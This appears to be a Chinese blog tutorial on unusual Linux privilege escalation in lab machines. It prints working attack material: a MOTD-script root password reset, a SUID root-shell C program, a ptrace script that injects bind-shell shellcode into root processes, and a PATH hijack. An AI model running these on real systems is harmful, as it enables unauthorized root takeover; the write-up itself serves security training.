谈谈linux中那些非常规提权及其应用场景

Linux渗透测试实战:利用漏洞建议器实现自动化与漏洞挖掘 在网络安全领域,漏洞挖掘与利用是渗透测试的核心环节。其基本原理是通过分析系统信息与已知漏洞库的匹配,快速定位潜在的安全缺陷。这项技术的价值在于能够显著升安全评估效率,将传统手动比对转化为自动化推荐。在实际应用场景中,渗透测试人员常需面对Linux系统的升挑战,尤其是在获得初始立足点后。Linux Exploit Suggester作为典型的漏洞建议工具,通过本地和远程两种工作模式,实现了对系统内核版本、发行版等信息的智能匹配,为实战中的本地供了关键支持。该工具在Webshell、SUID程 阅读详情

谈谈linux中那些非常规提权及其应用场景

0x01 MOTD注入提权

**提权原理:**motd是message of the
day这句话的缩写,当我们通过ssh登录成功的时候,我们如果留意的话,我们会发现输出的那些欢迎信息和日期等等,如果这些输出以上信息的脚本是以root权限运行的,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。

应用场景:

接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写  如果发现了符合条件的用 ls -l命令显示  错误信息从定向到null

图片.png

先cat了一下搜索到的第一个文件,发现里面有brainfuck加密的内容,所以尝试解密下。

图片.png

在线解密网站:http://bf.doleczek.pl/

图片.png

chitragupt

解密得到的这个可能是某个用户的密码,所以根据查看/etc/passwd文件发现的用户,挨个尝试下。

图片.png

当我尝试切换到interno用户的时候,使用揭秘得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-
data权限到普通用户权限的权限提升。

图片.png

然后我们在inferno用户的家目录下发现了第一个flag。

图片.png

既然已经获取到了inferno用户的密码,我接下来尝试使用ssh登录到inferno用户上。

ssh inferno@192.168.26.131

成功登录到inferno用户后再次执行下面这条命令

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

图片.png

我观察到除了我们刚刚发现密码的那个文件,其他文件都在/etc/update-motd.d/这个目录下,motd是message of the
day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

图片.png

那么现在我们知道了,当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权,思路有了下面开始操作。

vi /etc/update-motd.d/00-header      #编辑这个文件
echo 'root:123' | chpasswd        #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123

图片.png

然后保存修改后,退出ssh的连接,然后重新使用ssh登录,即可触发执行我们修改root用户的命令,

图片.png

当我们看到登录成功后的欢迎语的时候,root用户的密码已经成功的被我们修改成了123,接着只需要su到root用户即可提权成功

图片.png

0x02 pyhton-OS库代码注入提权

**提权原理:**python的OS库有写权限,那我们接下来就传pspy64到该机器上来,然后看看有没有以root用户定期执行的py脚本调用了os库,如果有的话,我们在OS库中写入反弹shell的代码,这样当该脚本被执行时,我们就会获得一个root权限的shell

这里介绍两个工具:
linpeas.sh这个工具会自动搜索可能的本地权限提升路径,并以漂亮的颜色和简洁的格式输出,以便我们可以轻松识别错误配置。 
linpeas.sh:    https://github.com/carlospolop/PEASS-ng
pspy是一个命令行工具,旨在侦听进程而无需 root 权限。 它允许我们在执行时查看其他用户、cron 作业等运行的命令和进程。
pspy64:        https://github.com/DominicBreuker/pspy/

应用场景:

当我们使用linpeas.sh对目标机器进行信息搜集的时候我们发现了一个不同寻常的文件os.py

图片.png

发现我们竟然对python的OS库有写权限,那我们接下来就传pspy64到该机器上来,然后看看有没有以root用户定期执行的py脚本调用了os库,如果有的话,我们在OS库中写入反弹shell的代码,这样当该脚本被执行时,我们就会获得一个root权限的shell

图片.png

图片.png

然后如上图所示,我们看到这个脚本是以root权限运行的,并且该脚本调用了OS库,所以接下来我们只需要在OS库中写入反弹shell的代码即可,如下图所示

图片.png

上图框中的代码就是我们加到os.py文件末尾反弹shell的代码,通过下图我们可以看到root权限的shell已经弹回来了

图片.png

0x03 Chkrootkit 提权

**提权原理:**chkrootkit 是一个在本地检查 rootkit
迹象的工具,chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/
tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。

**影响范围:**Chkrootkit <=0.49 Local Root Vulnerability:小于等于0.49版的chrootkit本地提权漏洞。

应用场景:

python -m http.server 80           #起一个临时的http服务
wget 10.10.10.43:8080/pspy64       #将pspy下载到目标机器
chmod +x pspy64
./pspy64                           #运行pspy查看当前目标机器的进程

图片.png

然后我们可以在 /tmp 目录下新建 update.c(代码实示例如下):

#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
exec("/bin/sh","sh",NULL);
}

然后编译好 update ,等待chkrookit以root身份执行/tmp/update文件后,我们就可以得到一个root权限的shell

0x04 python Capabilities cap_sys_ptrace+ep提权

补充知识:
Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。

**提权原理:**利用pythono具备的cap_sys_ptrace+ep
能力对root权限的进程注入python类型shellcode,以此实现权限提升。

应用场景:

我们可以使用下面的这条命令可以用于发现具有Capabilities特殊操作权限的程序

/usr/sbin/getcap -r / 2>/dev/null      # -r 递归查询 2>/dev/null 错误信息从定向到null

图片.png

通过上图我们发现python具备cap_sys_ptrace+ep
能力,所以我们可以对其进行利用然后进行提权。这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep
能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。

脚本内容:

# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

因为需要找root进程进行注入,所以简单写个shell脚本对root进程进行批量尝试

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

图片.png

通过上图我们已经看到靶机的5600端口已经监听,说明我们的脚本成功执行了,接下来我们回到kali用nc去连接靶机的5600端口即可。

图片.png

通过上图我们可以看到我们成功实现了权限的提升,获取到了root权限

0x05 用户自定义命令导致的环境变量提权

**提权原理:**本质上还是linux环境变量提权的那个原理,我之所以把这个提权案例拿过来,是因为我认为发现和分析用户自定义文件的这个过程及其思想是有价值的。环境变量提权的原理我之前写过一篇文章,感兴趣的师傅可以去看看,链接如下:https://www.freebuf.com/articles/system/320593.html

应用场景:

通过常规的信息搜集,我发现内核提权和常规的sudo等提权手段都不可行,但是在使用以下命令的时候,发现了listinfo

这个命令,感觉这个可能是用户自定义的一个命令,于是开始对其进行测试

find / -user root -type f -perm -u+sx -ls 2>/dev/null
#使用该命令可以列出 属于root账号且有suid权限的可执行文件    2>/dev/null部分的意思是不显示一些报错

图片.png

如下图所示,我们可以看到listinfo是一个可执行文件

图片.png

于是我尝试执行了一下listinfo命令

图片.png

通过对执行结果的分析,我发现listinfo命令执行的内容大概分为四个部分,第一个部分是显示一些网卡的配置信息,第二、三部分是22和80端口开放情况,第四部分是打印当前时间。

使用下面这条命令可以查看该可执行程序中的一些可打印字符串

strings /usr/bin/listinfo

图片.png

通过上图我们发现,该可执行程序的确是执行了如我分析的那样的四条命令,但是我们可以发现前三条命令都写绝对路径了,但是第四条命令date却没有写路径,所以我们可以利用这一点实现linux环境变量提权。关于环境变量提权的原理我之前写过一篇文章,感兴趣的师傅可以去看看,链接如下:https://www.freebuf.com/articles/system/320593.html

相信读了我上面的这篇文章,应该对该提权的的原理有了一定的了解,接下来我们开始操作,先在当前用户的目录下创建一个date.c文件

cd  /home/gemini1
vi date.c

date.c文件的内容如下,大概的意思就是以root用户的身份执行系统命令,启动一个shell

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
 setuid(0);
 setgid(0);
 system("/bin/bash");
}



gcc date.c -o date    #对该c文件编译,并把编译好的文件命名为date

然后我这里要补充的一点就是大家知道为什么操作系统可以直接执行ls、pwd这些命令吗?其实是因为这些系统命令所对应的可执行文件的目录都已经够被设置成了环境变量。

echo $PATH        #查看系统的环境变量

由于这些命令都是放在这些系统路径里面的所以我们才不需要输入完整的路径就可以执行这些命令,原理和windows环境变量一样,这里不再多说。

which date

通过上面这条命令
我们可以知道系统默认的date命令的路径,是放在/bin这个路径下的,而/bin目录是在系统环境变量里面的,所以系统会在系统变量里面从前往后检索,从而在/bin目录下找到date这个可执行程序,从而成功执行date命令。

了解了linux命令执行和环境变量的关系,下面的操作就好理解了,现在我们的目标就是想让系统先检索到我们构造的date命令,所以我们需要将当前目录添加到当前环境变量的头部。

export PATH=/home/gemini1:$PATH

如下图所示,此时我们构造的date文件的路径已经被放在了环境变量的头部

图片.png

然后我们执行listinfo触发执行date命令,这次执行的date命令就是我们构造的恶意代码了。

图片.png

通过下图我们可以看到已经提权成功,获取到了root权限。

图片.png

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

Linux系统下如何设置开机示效果motd Linux操作系统下,/etc/motd文件是一个特别的文件,它用来显示Linux系统的欢迎信息。当用户第一次登录后,会显示该文件中的信息。/etc/motd文件通常包含了一些系统管理员可以添加的欢迎信息、系统安全示或者重要公告等。所以基于这个特性我们可以设置一些有趣的登录欢迎信息。以下是我个人整理在用的示效果! 阅读详情

相关推荐

djinn3 vulnhub 靶机渗透

靶机ip10.0.2.45,攻击机ip10.0.2.4 扫描靶机端口 进入80端口,没发现什么可用的信息 进入5000端口,这里查看所有的title内容,没发现什么可用的信息,看了大佬的博客,发现可用的用户guest 访问31337端口,发现 考虑有nc命令访问端口,发现可用guest去登录,密码也是guest 这里发现这里增加和删除的ticket就是5000端口的内容 反复测试发现存在ssti漏洞 这里是判断ssti模板引擎的方法,具体内容在这...

mrwangtw的博客 3526

pspy:在没有root限的情况下监视linux进程

pspy-无特Linux进程监听 pspy是一种命令行工具,旨在无需根限就可以窥探进程。 它允许您在其他用户执行命令时查看它们,cron作业等。 非常适合枚举CTF中Linux系统。 很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。 该工具从procfs扫描中收集信息。 放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。 入门 下载 将工具安装到要检查Linux机器上。 首先获取二进制文件。 在此处下载发布的二进制文件: 32位大,静态版本: pspy32 64位大,静态版本: pspy64 32位小版本: pspy32s 64位小版本: pspy64s 静态编译的文件应可在任何Linux系统上使用,但容量很大(〜4MB)。 如果有大小问题,请尝试较小的版本,该版本取决于libc并使用UPX(〜1MB)压缩。 建造 您可以使用系

Linux新思路:如何利用Teehee编辑器绕过限限制(DC-4靶场实例)

本文详细介绍了利用Teehee编辑器在Linux系统中绕过限限制的新方法,特别适用于DC-4靶场渗透测试。通过修改/etc/passwd文件实现,包括环境搭建、信息收集、反弹shell获取及实战操作步骤,同时供防御检测方案和高级技巧,帮助安全研究人员掌握这一隐蔽高效的技术。

weixin_28366053的博客 364

Meta靶机

信息收集 发现目标主机只开放了ssh和web服务

weixin_45007073的博客 1861

看完这篇 教你玩转渗透测试靶机vulnhub——EvilBox-One

Vulnhub靶机Web1渗透测试详解Vulnhub靶机介绍:Vulnhub靶机下载:Vulnhub靶机安装:Vulnhub靶机漏洞详解:①:信息收集: Vulnhub靶机介绍: vulnhub是个供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、、漏洞利用、代码审计等等有趣的实战。 老样子需要找到flag即可。 Vulnhub靶机下载: 官网地址:https://download.vulnhub.com/evilbox/EvilBox—One.ova

Aluxian_的博客 6166

内网渗透(二)之

对于内网渗透,到我们拿到了公网主机的限后,并获得了一些本机的信息时。我们首先得知道我们的限。如果获取到的是普通用户限,则我们需要想办法至管理员限。如果获得的已经是管理员限,则可以忽略这一步。对于Windows系统,只有到管理员限后,才可以运行mimikatz以及执行一些其他高限的操作。对于Linux系统,很多命令需要root限才能执行,只有到root限才能执行后面的信息收集等工作。

把自己活成一道光,因为你不知道,谁会借着你的光,走出了黑暗。请保持心中的善良,因为你不知道,谁会借着你的善良,走出了绝望。请保持你心中的信仰,因为你不知道,谁会借着你的信仰,走出了迷茫。请相信自己的力量,因为你不知道,谁会因为相信你,开始相信了自己.... 6939

Linux系统实战:从信息收集到限维持的完整攻防解析

Linux系统限管理是操作系统安全的核心机制,其基于用户、组和文件限的访问控制模型构成了系统安全的第一道防线。在Linux环境中,当用户进程需要执行特操作时,系统通过SUID/SGID限位、sudo授机制和内核能力等机制进行升控制。理解这些升原理对于系统安全加固和渗透测试都至关重要,特别是在企业服务器安全运维和红蓝对抗演练场景中。通过系统性的信息收集,包括内核版本、SUID文件、sudo配置和定时任务等关键配置的审计,可以识别出潜在的安全风险点。例如,配置不当的SUID程序或sudo规

weixin_33919950的博客 522

DC-2靶机实战:从WordPress渗透到Linux的完整路径解析

渗透测试作为网络安全的核心实践领域,其本质是通过模拟攻击来评估系统安全性。其基本原理是遵循系统化的方法论,从信息收集、漏洞探测到升,最终实现安全防护能力的验证。在Web安全领域,WordPress作为广泛使用的内容管理系统,常因配置不当或插件漏洞成为攻击入口。通过密码破解和漏洞利用获取初始访问限后,渗透测试者需要进一步在Linux系统中进行升,其中SUID文件利用和环境变量劫持是经典的技术手段。这些技术在实际的攻防演练和红队评估中具有重要价值,能够帮助安全人员深入理解攻击链。本文以VulnHu

congsikuai0611的博客 359

从TFTP信息泄露到MOTDLinux渗透测试实战解析

在网络安全领域,信息泄露与升是渗透测试的核心环节。信息泄露通常源于配置不当的服务,如TFTP(Trivial File Transfer Protocol)因缺乏认证机制,可能暴露系统敏感文件。攻击者通过端口扫描发现非常规服务后,可利用此类漏洞获取初始访问凭证。升则涉及对Linux系统内部机制的深入理解,例如MOTD(Message of the Day)脚本在用户登录时以root限执行的特性。结合sudo限配置不当,攻击者可构造恶意脚本实现升。本文通过实战案例,详细解析如何利用TFT

weixin_29327525的博客 326

保姆级教程:在Kali Linux上复现Tr0ll靶机(含脏牛、SUID等方法对比与脚本实战)

本文供在Kali Linux上复现Tr0ll靶机的保姆级教程,涵盖脏牛漏洞(CVE-2016-5195)和SUID方法的详细对比与实战脚本。通过系统化的信息收集、自动化检测与手动验证,帮助读者掌握Linux的核心逻辑和技术原理,适用于渗透测试和网络安全学习。

weixin_33724046的博客 411

从信息收集到Root:DarkHole靶机渗透实战全解析

渗透测试是网络安全领域的核心实践,旨在通过模拟攻击来评估系统安全性。其基本原理是主动发现并利用目标系统的安全漏洞,验证其防御有效性。这项技术的价值在于帮助组织前识别风险,加固防御体系。在应用场景上,渗透测试广泛应用于企业安全评估、漏洞研究及安全人员技能训练。本文以DarkHole靶机为例,系统演示了从网络配置、端口扫描、Web漏洞挖掘到升的完整流程,重点剖析了越漏洞和文件上传漏洞的利用方法,并详细讲解了通过SUID文件和sudo配置进行Linux的实战技巧,为初学者供了一条清晰的渗透测试学习

weixin_30887919的博客 324

从配置错误到内核漏洞:Linux本地核心思路与实战防御

在系统安全领域,限管理是核心基础概念。其原理在于操作系统通过用户身份和访问控制列表来隔离资源,确保最小限原则。这一机制的技术价值在于防止单一环节的漏洞导致整个系统沦陷,是构建纵深防御体系的基石。在应用场景上,无论是日常的服务器配置、服务部署,还是复杂的微服务架构,限配置不当都可能成为攻击突破口。例如,在排查“DNS服务配置”或“WSUS更新失败”等运维问题时,若误操作文件限,就可能为攻击者留下可乘之机。同样,在配置“Nacos服务治理”或“Claude MCP服务”等现代中间件时,复杂的配置环境更需

weixin_34037173的博客 420

Linux内核Dirty Pipe漏洞原理与本地复现分析

Linux内核漏洞是系统安全领域的重要研究对象,其核心往往涉及底层机制的设计缺陷。以CVE-2022-0847(Dirty Pipe)为例,该漏洞源于内核处理管道(pipe)与页面缓存(page cache)交互时,对缓冲区标志位的管理不当。具体而言,当通过splice系统调用进行零拷贝数据传输时,内核未能正确清理pipe_buffer结构中的PIPE_BUF_FLAG_CAN_MERGE标志,导致后续写入操作被误判为可合并的匿名页操作,从而实现了向只读文件缓存页的非法写入。这种漏洞利用技术,结合对SUID

weixin_30654419的博客 472

FeatherScan v4.5实战:5分钟自动化定位Linux路径与GTFOBins利用

Linux系统安全领域,本地升(LPE)是渗透测试与红蓝对抗中的核心挑战,其本质在于利用系统配置错误或软件漏洞突破限边界。其技术原理通常围绕SUID/SGID文件、内核漏洞、环境变量劫持以及计划任务(Cron)配置不当等向量展开。掌握这些技术对于构建纵深防御体系和进行有效安全评估具有重要价值,广泛应用于渗透测试、漏洞研究和系统加固等场景。本文聚焦于如何将自动化扫描工具与GTFOBins知识库相结合,高效完成从信息收集到升的完整链路。通过集成**专项检测**与**GTFOBins**匹配能

weixin_30530339的博客 305

Linux本地漏洞PwnKit(CVE-2021-4034)实战检测指南

polkit是Linux系统级限管理框架,负责为桌面环境、systemd服务及各类进程供细粒度授决策;其核心守护进程polkitd以root身份运行,通过D-Bus接收用户请求并依据策略规则执行限判定。当该机制存在环境变量解析缺陷时,可能被用于本地攻击——CVE-2021-4034(PwnKit)正是利用argv[0]拼接路径与GIO模块加载逻辑绕过校验,实现无交互、零依赖的root限获取。该漏洞影响Ubuntu、Debian、RHEL等主流发行版,默认安装即中招,且传统IDS难以检出。本文聚

weixin_30892763的博客 820

CTF5 靶机路径对比:脏牛失败后 3 种 Linux 信息收集方法定位 root 密码

本文探讨了在CTF5靶机中脏牛失败后,如何通过三种高效的Linux信息收集方法定位root密码。重点分析了grep命令深度挖掘、历史记录考古学和配置文件审查技术,并详细还原了通过.tomboy笔记文件成功的实战路径,为渗透测试供了新的方法论。

weixin_33743661的博客 475
上一篇: 使用 Fuzztag 一键爆破反序列化链
下一篇: 我对DDos攻击的见解以及ufonet和mirai分布式拒绝服务攻击工具的介绍
黑客阿道夫
博客等级 码龄4年 7320粉丝 941原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值